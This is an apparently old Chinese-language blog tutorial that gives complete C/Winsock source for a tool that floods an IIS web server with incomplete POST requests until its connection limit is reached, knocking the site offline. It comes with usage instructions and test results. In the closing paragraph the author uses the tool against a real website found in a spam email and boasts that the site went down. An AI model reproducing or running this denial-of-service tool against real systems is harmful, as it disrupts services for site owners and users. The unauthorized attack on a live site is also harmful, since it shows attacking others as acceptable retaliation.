ps:本程序僅做為技術研究之用,請勿用於非法用途,否則,後果自負!最近買了個空間來玩,各位勿笑,是入門級的虛擬主機(偶是窮人啊),各種參數都相當低,特別是IIS連接數,只有100個(也就是同時支持100個不同的訪問)。這裡就出現問題了。如果我一直對該網站進行連接,雖然我是同一個人,但是IIS卻傻乎乎的把每次連接當成不同的人,每連接一次就會分配一個session給我,當連接超過服務器設置的IIS最大連接數目的時候……呵呵,拒絕服務就發生了。具體的攻擊嘛,我們當然是利用程序來完成。思路簡單,就是不斷的向網站發HTTP請求,直到超過它的最大連接數。正好機器上有以前看了shotgun的《HTTP協議Content Lenth限制漏洞導致拒絕服務攻擊》寫的測試程序,跟今天的要求很相似,5自學網,就拿來改改咯。具體代碼如下:#include "winsock.h"#include "stdio.h"#include "string.h"#include "io.h"#pragma comment(lib,"ws2_32.lib")#define BUFLEN 1024#define MAXThreadCount 10 //設置最大線程數int ThreadCount=0; struct mydata{char *ip;int port;};unsigned int resolve(char *name){struct hostent *he;unsigned int ip;if((ip=inet_addr(name))==(-1)){if((he=gethostbyname(name))==0)return 0;memcpy(&ip,he->h_addr,4);}return ip;}DWORD WINAPI Dos(LPVOID lpParam ) { mydata *csdn = (mydata*)lpParam;struct sockaddr_in server;server.sin_family = AF_INET;server.sin_port = htons(csdn->port);server.sin_addr.s_addr = resolve((char*)csdn->ip);if(server.sin_addr.s_addr==0){printf("Don't find address %s\n",(char*)csdn->ip);exit(0);}int my;char buf[100]="POST / HTTP/1.1\r\nHost: ";strcat(buf,(char*)csdn->ip);strcat(buf," \r\nContent-Length: 10\r\n\r\n");my=socket(PF_INET,SOCK_STREAM,0);if(my==INVALID_SOCKET){printf("ERROR");exit(0);}if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR){printf("Socket ERROR:%d",GetLastError());exit(0);}if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}ThreadCount--;return 0; } void thread ( char *a1 , char *a2 , char *a3 ){static mydata tmp;tmp.ip = a1;tmp.port = atoi(a2);DWORD dwThreadId;HANDLE hThread; WSADATA ws;if (WSAStartup( MAKEWORD(2,2), &ws )!=0){printf(" [-] WSAStartup() error\n");exit(0);}hThread = CreateThread( NULL, // no security attributes 0, // use default stack size Dos, // thread function &tmp, // argument to thread function 0, // use default creation flags &dwThreadId); // returns the thread identifier if (hThread == NULL) printf( "CreateThread failed." ); ThreadCount ;Sleep(200); //延時,否則CPU會用滿……CloseHandle(hThread);}int main(int argc, char* argv[]){int i=0;if(argc!=4){printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");printf("-Usage:\n");printf("%s <TargetAddress> <port> <MaxConnectionCount>\n",argv[0]);printf("-Example: %s 80 300\n",argv[0]);return 0;}printf("Starting DOS.............Ctrl C break\n");while( i < atoi(argv[3]) ){if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i ;}}while( 1 ){ }WSACleanup();return 0;}(VS.net 、XP SP1調試通過。編譯好的程序可以在這裡找到: )程序為命令行程序,共有三個參數,依次為要攻擊的網站域名、端口、連接數。嗯,測試下效果先。測試的目標是個人電腦,系統為win2000。IIS管理中把最大連接數設為200,很快網站就不能訪問了;增大到500,仍然會被當;800,還是要被當(圖)。測試過程中該電腦正在運行魔獸世界,而且一直正常。看來我們的程序只是對付網站,不會央及無辜的啊^_^ (點擊查看原圖)既然如此,那索性試試IIS連接數為無限的情況。程序中的連接參數我填的8000,5自學網,結果運行途中我的系統沒有了緩沖區間,winsock產生10055號錯誤,程序中止。呵呵,看來這種方法還是只能針對使用虛擬空間的中小網站。
好,偶們來實際使用一下。打開郵箱,隨便找封廣告垃圾郵件,訪問那家伙的網站,然後開始攻擊它,對付這種小站連接數就設成300就綽綽有余了。呵呵,很快那網站就不工作了(圖),嘿嘿,這可怪不得我,誰叫他發垃圾郵件在前。好了,測試完畢,通過驗收,就不跟他玩了。